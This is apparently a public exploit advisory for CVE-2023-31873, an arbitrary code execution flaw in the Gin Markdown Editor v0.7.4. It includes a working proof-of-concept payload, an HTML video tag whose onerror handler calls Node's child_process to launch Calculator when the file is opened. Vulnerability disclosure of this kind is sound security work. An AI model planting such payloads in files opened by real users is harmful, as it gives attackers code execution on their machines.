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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage: https://github.com/mariuskueng/gin
# Software Link: https://github.com/mariuskueng/gin
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:

2023-04-24

Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Gin will auto execute the Calculator application.